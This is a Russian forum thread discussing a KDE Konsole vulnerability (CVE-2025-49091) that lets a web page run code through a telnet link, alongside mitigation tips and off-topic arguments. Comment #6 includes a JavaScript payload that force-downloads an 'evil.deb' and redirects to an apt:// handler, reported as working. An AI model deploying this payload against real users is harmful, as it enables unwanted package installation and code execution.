forum.opennet.ru - "Уязвимость в KDE Konsole, позволяющая выполнить код при открытии страницы в браузере" (102)

"Уязвимость в KDE Konsole, позволяющая выполнить код при открытии страницы в браузере"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Уязвимость в KDE Konsole, позволяющая выполнить код при открытии страницы в браузере"	+/–
Сообщение от opennews (?), 15-Июн-25, 23:16
В развиваемом проектом KDE эмуляторе терминала Konsole выявлена уязвимость (CVE-2025-49091), позволяющая организовать выполнение кода в системе при открытии в браузере специально оформленной страницы... Подробнее: https://www.opennet.dev/opennews/art.shtml?num=63410
Ответить \| Правка \| Cообщить модератору

Оглавление

У меня больше вопрос в другом Зачем это вообще в браузере Кто и на запускае, Аноним (2), 23:19 , 15-Июн-25, (2) +13

Ты лучше спроси зачем в браузере URL ghelp - https opennet ru 63035-gnome, Аноним (4), 23:37 , 15-Июн-25, (4) +6

Блин, а оно ведь сработало В Ubuntu Firefox и Chrome загружают автоматом deb-пак, Аноним (4), 23:45 , 15-Июн-25, (6) +13

Но оно же не устанавливает пакет автоматом при открытии ссылки, а показывает окн, Аноним (66), 13:26 , 16-Июн-25, (66)

Блин, я думал это фича о_О, Аноним (122), 09:32 , 18-Июн-25, (122)

зачем тебе в браузере URL ghelp , 12yoexpert (ok), 23:52 , 15-Июн-25, (10) +1
тор браузер посылает эти типы куда подальше можно пользоватся без тора если чт, Аноним (40), 08:23 , 16-Июн-25, (40)

Давным давно запускал, очень удобно когда у тебя счет железок на тысячи, или по , jj (?), 23:45 , 15-Июн-25, (7) +3

Так как раз же неудобно Когда счёт идёт даже на десятки, уже неудобно вручную а, Аноним (89), 21:06 , 16-Июн-25, (89) –1

Это всё стандартные uri-хендлеры, которые могут открываться не только из браузер, oficsu (ok), 23:47 , 15-Июн-25, (8) +3

Да зачем вообще нужны программы, пусть уже всё браузер делает Браузера хватит в, Аноним (16), 04:13 , 16-Июн-25, (16)

Всё есть урл , Аноним (34), 05:30 , 16-Июн-25, (34)
Вам прямо сказали, что дело не в браузере, а вы опять бочку на браузер катите , Аноним (55), 10:46 , 16-Июн-25, (55) +3

Типичный сторонник жирных браузеров В браузере ничего нет - есть гиперссылка, с , Аноним (55), 10:44 , 16-Июн-25, (53)

Браузер недолжен делать НИЧЕГО Не поддерживается схема браузером - игнор, и не , Аноним (97), 21:43 , 16-Июн-25, (97) +1

Вам надо - вы и отключайте Или поместите браузер в контейнер, благо это элемент, Аноним (55), 12:53 , 17-Июн-25, (116)

Ну вот на прошлом месте работы в cmdb урлики для подключения к линуксячьим нодам, User (??), 11:07 , 16-Июн-25, (59)

ну а что вы хотели от тимы, в которую вместо инженеров набрали эффективненьких с, 12yoexpert (ok), 23:32 , 15-Июн-25, (3) –11

это не самопиар, а самообман - сообщество 8482 разработчиков кде по определени, Аноним (17), 04:26 , 16-Июн-25, (17) –9

Сейчас бы пользоваться поделием, которое считает юзера за идиота и не может реши, МИСАКА (?), 05:27 , 16-Июн-25, (33) +4

пользуюсь с удовольствием а пародировать они могут хоть TempleOS, лишь бы удобн, Аноним (17), 06:49 , 16-Июн-25, (36) –2

Смешно такое читать на фоне того, как nvidia с капитализацией 3трлн не в состо, nv (?), 09:43 , 16-Июн-25, (46) +1

в копилку скачайте и поставьте расширение в вбокс 7 1 10Наркоманы на работе Ви, serg (??), 10:46 , 16-Июн-25, (54) +1
Даже интересно, сколько из этой суммы они должны по вашему мнению потратить на р, User (??), 11:31 , 16-Июн-25, (60) +1

Это системная проблема Можно было бы сказать, что невидевские карточки для винд, Аноним (55), 12:52 , 16-Июн-25, (62) –1

С тем, что в индустрии есть системная проблема, связанная с нелинейным характеро, User (??), 14:19 , 16-Июн-25, (71)

Будь зависимость линейна, прогресс давным давно бы остановился, так как новые ве, Аноним (55), 10:32 , 17-Июн-25, (108)

Ну Если бы земля была круглой - мы бы с неё падали - тоже вывод, в общем-т, User (??), 16:10 , 17-Июн-25, (118)

Вот как раз потому что они не тратять время на всяких четырепроцентников - у них, Аноним (-), 18:02 , 16-Июн-25, (81)
Топовых как раз не сокращают, инфа сотка Под нож идёт балласт Почему такая про, Аноним (89), 21:10 , 16-Июн-25, (90)

Нет, ненадо, такой надежды не питаю Ненадо ничего выпиливать из интерфейса KD, Аноним (99), 21:49 , 16-Июн-25, (99) –1

Который непременно должен откуда-то лежать у пользователя, быть баш-скриптом и н, oficsu (ok), 23:40 , 15-Июн-25, (5) –1

proc self cwd Downloads evil ссылается на файл, который браузер автоматически б, Аноним (4), 23:49 , 15-Июн-25, (9) +5

Спасибо, так действительно звучит намного опаснее, oficsu (ok), 23:52 , 15-Июн-25, (11) +2
Справедливости ради, при открытии такой ссылки браузер предупреждает пользовател, Аноним (12), 00:17 , 16-Июн-25, (12)

И где уязвимость , Аноним (13), 00:29 , 16-Июн-25, (13)

В том месте, где браузером спрашивается подтверждение запуска telnet-обработчика, oficsu (ok), 03:17 , 16-Июн-25, (15) +5

Если у вас подкроватный сервер, который перезагружается раз в год, то не забудьт, Аноним (14), 00:31 , 16-Июн-25, (14) +1
Это конечно полный аллес Нооо в сравнении с современными привычками для устан, bdrbt (ok), 06:04 , 16-Июн-25, (35) +2

Щито поделать, десу Ну вот не хотят юзвери нормальный пакетный менеджер типа ni, Аноним (55), 11:03 , 16-Июн-25, (58) –1
Учитывая, что оно даже в дебияне https packages debian org trixie rustupне сли, Аноним (64), 13:13 , 16-Июн-25, (64)

тот дебиян еще не слишком релизнулсяну таки на сайте раста так первым же делом н, Аноним (72), 14:23 , 16-Июн-25, (72)

И кто ж виноват, что дебиановцы такие слоупоки Э-э и что они должны там пред, Аноним (64), 11:02 , 17-Июн-25, (115)

Оно есть только в нерелизнувшемся trixie В стабильных релизах - нет , Аноним (55), 21:00 , 16-Июн-25, (88)

И ты сейчас нам конечно же расскажешь, почему это плохо и опасно, а sudo apt ins, Аноним (89), 21:12 , 16-Июн-25, (91) –1

С чексуммами, патчами и конкретной версией, против стягивания хер пойми чего и о, bdrbt (ok), 21:23 , 16-Июн-25, (94) +2

Я рекомендую всё же выходить из криокамеры, для того, чтобы иметь хотя бы какое-, Аноним (55), 10:36 , 17-Июн-25, (110)

Ты хоть распакуй его, да посмотри , bdrbt (ok), 10:43 , 17-Июн-25, (112)

Если тебе об этом надо говорить - тебе бесполезно об этом говорить , bdrbt (ok), 21:25 , 16-Июн-25, (95) +2

У меня вопросы к автору подобных статей По какой причине в ссылках вот в этом п, Аноним (37), 07:02 , 16-Июн-25, (37)

В Fedora нет трекера исправления уязвимостей по CVE-идентификатору Есть общий б, Maxim Chirkov (ok), 09:55 , 16-Июн-25, (47)

Учитывая, что для фри придется сначала пропатчить КДЕ W procfs вместо proc sel, Аноним (64), 10:38 , 16-Июн-25, (52) –1

Фряха защищённее линукска на время произнесения фразы ух ты, фряха А что там , Аноним (55), 12:54 , 16-Июн-25, (63) –1

Конкретна эта уязвимость -- не затрагивает фрю не только на время произнесения , Аноним (64), 13:20 , 16-Июн-25, (65)

эта прокфс еще и не смонтирована по-умолчаниювпрочем проблемы в целом это не отм, Ананимаз (?), 18:37 , 16-Июн-25, (82)
процфс тут нужна, только чтобы не гадать путь до хомяка Если мы по каким либо , Аноним (120), 23:12 , 17-Июн-25, (120)

Спасибо за разъяснения Но всё же, почему не дать пояснение в новости, что вот с, Аноним (37), 13:54 , 16-Июн-25, (68)

Ok, по возможности буду ставить ссылку на багтрекер или сам пакет, если в трекер, Maxim Chirkov (ok), 14:16 , 16-Июн-25, (70)

gt оверквотинг удален Да, а ещё новость могут прочитать через неделю или через, Аноним (37), 21:49 , 16-Июн-25, (98)

Может, у этих дистрибутивов нет трекеров CVE и единственный способ отслеживать и, oficsu (ok), 23:47 , 16-Июн-25, (105)

Вот вам все прелести Яваскрипта Вы рады , Аноним (38), 08:19 , 16-Июн-25, (38) –1

90-е закончились, яваскрипт победил А ты все держишь оборону , MikhailFF (ok), 08:40 , 16-Июн-25, (41) +2

облепленный сзади питонами, Аноникл (?), 08:42 , 16-Июн-25, (43)
Да И очень эффективно с помощью NoScript, uMatrix, etc , Аноним (48), 10:00 , 16-Июн-25, (48) –3
Может ему VB скрипт больше нравится , Аноним (-), 16:48 , 16-Июн-25, (76)

При чём тут яваскрипт Какое отношение консоль имеет к браузеру , Аноним (55), 10:56 , 16-Июн-25, (57) +2

Очень похоже на бэкдор Т к такая же уязвимость ещё 10 лет назад всплывала,так же, maximnik0 (?), 08:22 , 16-Июн-25, (39)

Вполне возможно, терять информацию это тренд современности- , BeLord (ok), 10:59 , 17-Июн-25, (114)

попробовал в фаерфоксе - вылез диалог сохранения файла если нажать save то сохр, Аноникл (?), 08:40 , 16-Июн-25, (42)

Верните в настройках опцию Always ask you where to save files в значение по ум, Аноним (4), 10:22 , 16-Июн-25, (51)
Так там же в статье явно написано, что Эксплуатации уязвимостей сопутствует то,, Аноним (37), 14:00 , 16-Июн-25, (69)

Этот бэкдор в какой версии появился Кто автор комита , Аноним (44), 09:17 , 16-Июн-25, (44)

Не удивлюсь, если эта уязвимость каждый мажорный релиз появляется и чинится, а т, Аноним (50), 10:22 , 16-Июн-25, (50)
git blame изобретён, Аноним (55), 20:58 , 16-Июн-25, (87)

Это какой-то позор, господа Баги уровня 80ых в 2025 Трудно поверить , name (??), 09:28 , 16-Июн-25, (45)

Просто кодеры не понимаю что все остальные не обязательно занимаются Компьютерам, Аноним (73), 14:49 , 16-Июн-25, (73)

Не поймут никогда Пока менеджер не объяснит Таков путь , Аноним (89), 21:16 , 16-Июн-25, (93)

КДЕ-шные мудрённые поделки, например в LXTerminal такая шляпа невозможна by desi, Аноним (49), 10:14 , 16-Июн-25, (49) –2

Да, а еще в command com, гг (?), 10:48 , 16-Июн-25, (56) +2
Чем более это сложное, тем прощще это ломается Тем больше там ошибок Глюков , Аноним (73), 14:50 , 16-Июн-25, (74)

Терминал Лхде проще чем кедовая консолька , Афроним (?), 17:59 , 16-Июн-25, (80)

Конечно проще , Аноним (85), 19:52 , 16-Июн-25, (85) +1
Наверное прощще, примерно как xfce прощще Kde, или как Lxqt, lxde, прощще Kde Ду, Аноним (73), 10:34 , 17-Июн-25, (109)

Да там ещё много чего невозможно и то невозможно, и это невозможно , Аноним (99), 08:19 , 17-Июн-25, (107)

Я не специалист по телнет и ssh Но нет ли случайно такой возможности, чтобы сфо, Аноним (61), 12:09 , 16-Июн-25, (61)
Скрыто модератором, Аноним (67), 13:51 , 16-Июн-25, (67) –1
Это уязвимость в веб-браузере тоже Вместо вопроса Allow this site to open the , myster (ok), 17:15 , 16-Июн-25, (77) –1

Ещё один воен с браузерами Вам же в новости сказано, что команду запускает konso, Аноним (55), 20:56 , 16-Июн-25, (86) –2

т е мочить надо бинарник konsole , Аноним (102), 22:10 , 16-Июн-25, (102)
Ты реально думаешь, что браузер живой надеюсь не под веществами пишешь Ты сам о, myster (ok), 22:38 , 16-Июн-25, (103)

Какой посыл Проблема не в открытии сторонних программ, проблема в обработке эти, Аноним (55), 10:43 , 17-Июн-25, (111) –1

не важно что там есть, читаем код, который приводит к сообщению Allow this site, myster (ok), 18:20 , 17-Июн-25, (119)

Сомнительную функцию можно отключить в файрфоксе через настройкуnetwork protocol, Syndrome (ok), 18:52 , 16-Июн-25, (83) +1
Ещё одно подтвержение того, что кедо поклонникам надо юзать дубовое и безбэкдорн, Аноним (85), 19:36 , 16-Июн-25, (84) –1

А поклонники у вас советов просят , Аноним (99), 21:53 , 16-Июн-25, (100)

совет поросят эти поклонники, Аноним (102), 22:08 , 16-Июн-25, (101) +1

touch usr local bin telnettouch usr local bin rlogin, Аноним (92), 21:13 , 16-Июн-25, (92) +1
Always ask you where to save files это одна из первых настроек, что я делаю в , Аноним (99), 21:42 , 16-Июн-25, (96)
bash да, отличная замена для ssh В каких головах такие технические решения рожда, fidoman (ok), 10:49 , 17-Июн-25, (113) +1
Не работает, Konsole 24 08 1 Упорно вылетает окошко portal Choose an applicati, Аноним (121), 08:47 , 18-Июн-25, (121)
У меня браузер сто лет уже по умолчанию спрашивает, что делать с файлом Я ещё т, Соль земли2 (?), 13:33 , 19-Июн-25, (127)

Но вообще бывало, что сайты без спросу могут пытаться начать что-то скачивать П, Соль земли2 (?), 13:37 , 19-Июн-25, (128)

Сообщения [Сортировка по времени | RSS]

2. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +13 +/–

Сообщение от Аноним (2), 15-Июн-25, 23:19

У меня больше вопрос в другом. Зачем это вообще в браузере? Кто и на... запускает telnet и ssh через браузер?

Ответить | Правка | Наверх | Cообщить модератору

4. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +6 +/–

Сообщение от Аноним (4), 15-Июн-25, 23:37

Ты лучше спроси зачем в браузере URL ghelp:// :-) https://opennet.ru/63035-gnome
Хороши, что KDE, что GNOME, что дистрибутивы, регистрирующие кучу MIME-типов.
PS. В Firefox в about:preferences#general  в поле поиска набери Applications, там полно всего, включая irc и apt. Как насчёт провернуть подобную атаку для установки левого пакета через apt?

Ответить | Правка | Наверх | Cообщить модератору

6. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +13 +/–

Сообщение от Аноним (4), 15-Июн-25, 23:45

Блин, а оно ведь сработало!
В Ubuntu Firefox и Chrome загружают автоматом deb-пакет, а потом выводят запрос типа "Allow this site to open the apt link with AptURL?"
Скрипт поправил так:
  function downloadAndRedirect() {
            const anchor = document.createElement('a');
            anchor.href = "data:;base64,содержимое deb-пакета в base64";
            anchor.download = 'evil.deb';
            document.body.appendChild(anchor);
            anchor.click();
            document.body.removeChild(anchor);

            setTimeout(() => {
             window.location.href = "apt:///proc/self/cwd/Downloads/evil.deb";
             }, 1000);
        }

Ответить | Правка | Наверх | Cообщить модератору

66. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (66), 16-Июн-25, 13:26

Но оно же не устанавливает пакет автоматом при открытии ссылки, а показывает окно с инфой о пакете и опцией его установить? Так для этого достаточно просто http-ссылки на deb-пакет без фокусов с перенаправлением на "apt://", стандартное скачать и открыть файл.

Ответить | Правка | Наверх | Cообщить модератору

122. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (122), 18-Июн-25, 09:32

Блин, я думал это фича о_О

Ответить | Правка | Наверх | Cообщить модератору

10. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от 12yoexpert (ok), 15-Июн-25, 23:52

> Ты лучше спроси зачем в браузере URL ghelp://
зачем тебе в браузере URL ghelp://?

Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

40. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (40), 16-Июн-25, 08:23

тор браузер посылает эти типы куда подальше. (можно пользоватся без тора если что)

Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

7. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +3 +/–

Сообщение от jj (?), 15-Июн-25, 23:45

Давным давно запускал, очень удобно когда у тебя счет железок на тысячи, или по вашему хранить ip надо в txt или exel.

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

89. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (89), 16-Июн-25, 21:06

> удобно когда у тебя счет железок на тысячи
Так как раз же неудобно. Когда счёт идёт даже на десятки, уже неудобно вручную админить, а ты тут про тысячи заливаешь. Автоматизация — слыхал про такое? Пушишь в гит что нужно, а дальше оно само.
> или по вашему хранить ip надо в txt или exel.
IP надо хранить в DNS, и иметь схему которая позволяет зная где сервер скрафтить его доменное имя. Это если тебе надо куда-то конкретно попасть. А для IPAM надо специализированный софт использовать, да хоть тот же NetBox. Если только у тебя не один /23 или что-то такое же смешное. С таким действительно проще CSV или эксельку, котрые уже читать скриптом и генерить имена устройствам.

Ответить | Правка | Наверх | Cообщить модератору

8. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +3 +/–

Сообщение от oficsu (ok), 15-Июн-25, 23:47

Это всё стандартные uri-хендлеры, которые могут открываться не только из браузера. Лучшее, что нармальный браузер может сделать (и делает, естественно) — это спросить, хочет ли пользователь запускать соответствующий хендлер. Будь это tel://, magnet:// или ssh:// — это дело пользователя, что он хочет открывать, а не браузера
А ssh://, очевидно, является полезным обработчиком. Например, можно хотеть логиниться на сервер из менеджера паролей в один клик. И не важно, выступает ли этимм менеджером KeePassXC, какой-то вебапп на электроне или вообще корпоративная страничка в браузере с полным списком серверов и паролей. Пользователю нужно открыть ssh-доступ из приложения — он соглашется

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

16. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (16), 16-Июн-25, 04:13

Да зачем вообще нужны программы, пусть уже всё браузер делает. Браузера хватит всем...

Ответить | Правка | Наверх | Cообщить модератору

34. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (34), 16-Июн-25, 05:30

Всё есть урл.

Ответить | Правка | Наверх | Cообщить модератору

55. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +3 +/–

Сообщение от Аноним (55), 16-Июн-25, 10:46

>пусть уже всё браузер делает
Вам прямо сказали, что дело не в браузере, а вы опять бочку на браузер катите.

Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

53. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (55), 16-Июн-25, 10:44

>Зачем это вообще в браузере?
Типичный сторонник жирных браузеров.
В браузере ничего нет - есть гиперссылка, с протоколом. Браузер передаёт эту ссылку в систему, система самостоятельно находит обработчик.
>Кто и на... запускает telnet и ssh через браузер?
Кдешнки. Не вечно же на гномеров бочку катить.

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

97. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от Аноним (97), 16-Июн-25, 21:43

>Браузер передаёт эту ссылку в систему, система самостоятельно находит обработчик.
Браузер недолжен делать НИЧЕГО. Не поддерживается схема браузером - игнор, и не надо ничего открывать. Юзер сам допрёт, что со схемой ssh:// делать.

Ответить | Правка | Наверх | Cообщить модератору

116. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (55), 17-Июн-25, 12:53

Вам надо - вы и отключайте. Или поместите браузер в контейнер, благо это элементарно делается.

Ответить | Правка | Наверх | Cообщить модератору

59. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от User (??), 16-Июн-25, 11:07

Ну вот на прошлом месте работы в cmdb урлики для подключения к линуксячьим нодам по ssh и вроде даже к виндовым по rdp (или там просто файлики? Не помню уже) автоматически генерились, всем нравилось. Нет, встречались любители руками в цонцоле колотить или там из файла "пороли.тхт" мышкой копировать - но это что-то постыдное было).

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

3. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –11 +/–

Сообщение от 12yoexpert (ok), 15-Июн-25, 23:32

ну а что вы хотели от тимы, в которую вместо инженеров набрали эффективненьких самопиарщиков типа нэта грема

Ответить | Правка | Наверх | Cообщить модератору

17. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –9 +/–

Сообщение от Аноним (17), 16-Июн-25, 04:26

это не самопиар, а самообман - сообщество™ разработчиков кде по определению не может обеспечить качество на уровне корпоративного продукта
единственная надежда у поклонников проекта кде заключается в том, что Габен и ко. возьмут кодовую базу этой СРС под свой контроль, то есть под контроль программистов на зарплате
но зачем ждать, когда уже сейчас можно просто пользоваться GNOME? (:

Ответить | Правка | Наверх | Cообщить модератору

33. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +4 +/–

Сообщение от МИСАКА (?), 16-Июн-25, 05:27

Сейчас бы пользоваться поделием, которое считает юзера за идиота и не может решить, хочет оно пародировать макось или иось

Ответить | Правка | Наверх | Cообщить модератору

36. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –2 +/–

Сообщение от Аноним (17), 16-Июн-25, 06:49

пользуюсь с удовольствием) а пародировать они могут хоть TempleOS, лишь бы удобно было работать

Ответить | Правка | Наверх | Cообщить модератору

46. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от nv (?), 16-Июн-25, 09:43

Смешно такое читать на фоне того, как nvidia с капитализацией 3трлн $ не в состоянии нормально написать и протестировать драйвера и свой основной софт. Или MS c капиталиецией 2трлн $ постоянно сокращают топовых инженеров и в разработке софта делают упор на добавление фич, а стабильность уходит на второй план.

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

54. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от serg (??), 16-Июн-25, 10:46

в копилку: скачайте и поставьте расширение в вбокс 7.1.10
Наркоманы на работе. Видимо теперь это норма.

Ответить | Правка | Наверх | Cообщить модератору

60. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от User (??), 16-Июн-25, 11:31

Даже интересно, сколько из этой суммы они должны по вашему мнению потратить на реализацию хотелок 0 целых хрен десятых любителей nvidia лохматой версии на коре дуба от 0 хрен десятых любителей wayland'а на десктопе от аж целых 4х процентов пользователей? При том, что деньги они получают от крупных оем производителей (которым на эти хотелки тоже пофиг), а не от уаси-в-рассыпуху и вообще основной профит идёт не с этого рынка...

Ответить | Правка | К родителю #46 | Наверх | Cообщить модератору

62. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (55), 16-Июн-25, 12:52

Это системная проблема. Можно было бы сказать, что невидевские карточки для виндузятников, если бы у них не горели разъёмы. А так, им всё равно - разъём сгорит или под вейлендом работать не будет.
С виндой аналогично - качество винды падает, но виндузятников как всегда волнует только процент вейленда на десктопе линуксоидов.

Ответить | Правка | Наверх | Cообщить модератору

71. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от User (??), 16-Июн-25, 14:19

С тем, что в индустрии есть системная проблема, связанная с нелинейным характером зависимости сложности системы от размера кодовой базы в общем-то никто и не спорит.
Вопрос в том, сколько на решение частного случая проблемы 1,5% пользователей должна потратить компания, с учетом того, что эти 1,5% будут еще и "немножко вредить" своим штабле нонсенсом, ага.

Ответить | Правка | Наверх | Cообщить модератору

108. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (55), 17-Июн-25, 10:32

>связанная с нелинейным характером зависимости сложности системы от размера кодовой базы
Будь зависимость линейна, прогресс давным давно бы остановился, так как новые вещи были бы слишком сложными.
>Вопрос в том, сколько на решение частного случая проблемы 1,5% пользователей должна потратить компания
Вы удивительны - вам жалко многомиллиардную компанию, что ей, бедной несчастной, оказывается надо деньги тратить, на качество товара. Удивительно, как это интел и амд справляются? Только вот чем больше пользователи прощают компании проблем, тем меньше она будет в качество своего товара вкладываться. Разъёмы горят(https://habr.com/ru/companies/x-com/articles/899528/) - ничего страшного. Драйвера окирпичивают карты(https://habr.com/ru/companies/x-com/articles/892620/) - нормально. Самое главное, что невидия ни цента на вейленд не потратила.

Ответить | Правка | Наверх | Cообщить модератору

118. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от User (??), 17-Июн-25, 16:10

>>связанная с нелинейным характером зависимости сложности системы от размера кодовой базы
> Будь зависимость линейна, прогресс давным давно бы остановился, так как новые вещи
> были бы слишком сложными.
Ну... "Если бы земля была круглой - мы бы с неё падали!" - тоже вывод, в общем-то. Даже я бы сказал, логичный.
>>Вопрос в том, сколько на решение частного случая проблемы 1,5% пользователей должна потратить компания
> Вы удивительны - вам жалко многомиллиардную компанию, что ей, бедной несчастной, оказывается
> надо деньги тратить, на качество товара. Удивительно, как это интел и
> амд справляются? Только вот чем больше пользователи прощают компании проблем, тем
> меньше она будет в качество своего товара вкладываться. Разъёмы горят(https://habr.com/ru/companies/x-com/articles/899528/)
> - ничего страшного. Драйвера окирпичивают карты(https://habr.com/ru/companies/x-com/articles/892620/)
> - нормально. Самое главное, что невидия ни цента на вейленд не
> потратила.
Удивительная ситуация - люди вроде как умеют писать (Совершеннейшую ерунду, как правило. О том, как "хорошо" справляется с обеспечением качества Intel разве что в криокамере не прокричали), но совершенно не умеют читать. Нет, отдельные буквы и даже слова таки да - а вот с пониманием смысла прочитанного - проблемочки. Вас в третий раз спрашивают - СКОЛЬКО ПО ВАШЕМУ МНЕНИЮ Nvidia ДОЛЖНА ПОТРАТИТЬ НА РЕШЕНИЕ ПРОБЛЕМЫ? А вы вместо ответа на вопрос делаете изумительные выводы о мотивации собеседника.

Ответить | Правка | Наверх | Cообщить модератору

81. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (-), 16-Июн-25, 18:02

> nvidia с капитализацией 3трлн $ не в состоянии нормально написать
> и протестировать драйвера и свой основной софт
Вот как раз потому что они не тратять время на всяких четырепроцентников - у них капитализация 3трлн$. Потому что нужно приавильно расставлять приоритеты.
> а стабильность уходит на второй план.
А им не нужна стабильность. Им нужно быть стабильнее чем конкуренты.
И пока они обгоняют дестопный линь с огромным отрывом)))

Ответить | Правка | К родителю #46 | Наверх | Cообщить модератору

90. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (89), 16-Июн-25, 21:10

> постоянно сокращают топовых инженеров
Топовых как раз не сокращают, инфа сотка. Под нож идёт балласт. Почему такая происходит очевидно. И нет, не потому что эффектиные менеджеры.

Ответить | Правка | К родителю #46 | Наверх | Cообщить модератору

99. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (99), 16-Июн-25, 21:49

>единственная надежда у поклонников проекта кде заключается в том, что Габен и ко. возьмут кодовую базу этой СРС под свой контроль, то есть под контроль программистов на зарплате
Нет, ненадо, такой "надежды" не питаю. Ненадо ничего выпиливать из интерфейса KDE. Меня, как пользователя KDE, больше устраивает то, как организована разработка у ний сейчас. Без погромистов на зарплате Габена.

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

5. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от oficsu (ok), 15-Июн-25, 23:40

> в Konsole запускался "/bin/bash /proc/self/cwd/Downloads/evil"
Который непременно должен откуда-то лежать у пользователя, быть баш-скриптом и непременно должен реализовывать желаемое злоумышленником поведение по умолчанию (без параметров, ибо их туда передать нельзя)?

Ответить | Правка | Наверх | Cообщить модератору

9. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +5 +/–

Сообщение от Аноним (4), 15-Июн-25, 23:49

/proc/self/cwd/Downloads/evil ссылается на файл, который браузер автоматически без согласия пользователя может загрузить, в том и проблема, что по дефолту Firefox и Chrome без спроса грузят и во всплывающем уведомлении показывают, что загрузили.
Раньше нужно было, чтобы пользователь хотя бы кликул на ссылку для начала загрузки, а сейчас из JavaScript достаточно вызвать метод click();

Ответить | Правка | Наверх | Cообщить модератору

11. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от oficsu (ok), 15-Июн-25, 23:52

Спасибо, так действительно звучит намного опаснее

Ответить | Правка | Наверх | Cообщить модератору

12. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (12), 16-Июн-25, 00:17

Справедливости ради, при открытии такой ссылки браузер предупреждает пользователя. Проверил сейчас на хромом и лисе.

Ответить | Правка | К родителю #9 | Наверх | Cообщить модератору

13. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (13), 16-Июн-25, 00:29

>В Firefox и Chrome при попытке перехода по ссылке "telnet://" по умолчанию будет выведен запрос для подтверждения операции у пользователя
И где уязвимость?

Ответить | Правка | Наверх | Cообщить модератору

15. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +5 +/–

Сообщение от oficsu (ok), 16-Июн-25, 03:17

В том месте, где браузером спрашивается подтверждение запуска telnet-обработчика, а Konsole вместо него запускает произвольный код

Ответить | Правка | Наверх | Cообщить модератору

14. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +1 +/–

Сообщение от Аноним (14), 16-Июн-25, 00:31

> удалить файл /usr/share/applications/ktelnetservice6.desktop
Если у вас подкроватный сервер, который перезагружается раз в год, то не забудьте что-то вроде:
$ sudo update-desktop-database
чтобы перестроить кеш обработчиков MIME типов

Ответить | Правка | Наверх | Cообщить модератору

35. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +2 +/–

Сообщение от bdrbt (ok), 16-Июн-25, 06:04

Это конечно полный аллес. Нооо в сравнении с современными "привычками" для установки некоторого софта вроде:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
Особой дичью не кажется.

Ответить | Правка | Наверх | Cообщить модератору

58. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." –1 +/–

Сообщение от Аноним (55), 16-Июн-25, 11:03

Щито поделать, десу. Ну вот не хотят юзвери нормальный пакетный менеджер типа nix, хотят curl | sh

Ответить | Правка | Наверх | Cообщить модератору

64. "Уязвимость в KDE Konsole, позволяющая выполнить код при откр..." +/–

Сообщение от Аноним (64), 16-Июн-25, 13:13

> Это конечно полный аллес. Нооо в сравнении с современными "привычками" для установки
> некоторого софта вроде:
> curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
> Особой дичью не кажется.
Учитывая, что оно даже в дебияне
https://packages.debian.org/trixie/rustup
не слишком окаменелой версии - опять в дурных "привычках" виноваты другие?

Ответить | Правка | К родителю #35 | Наверх | Cообщить модератору

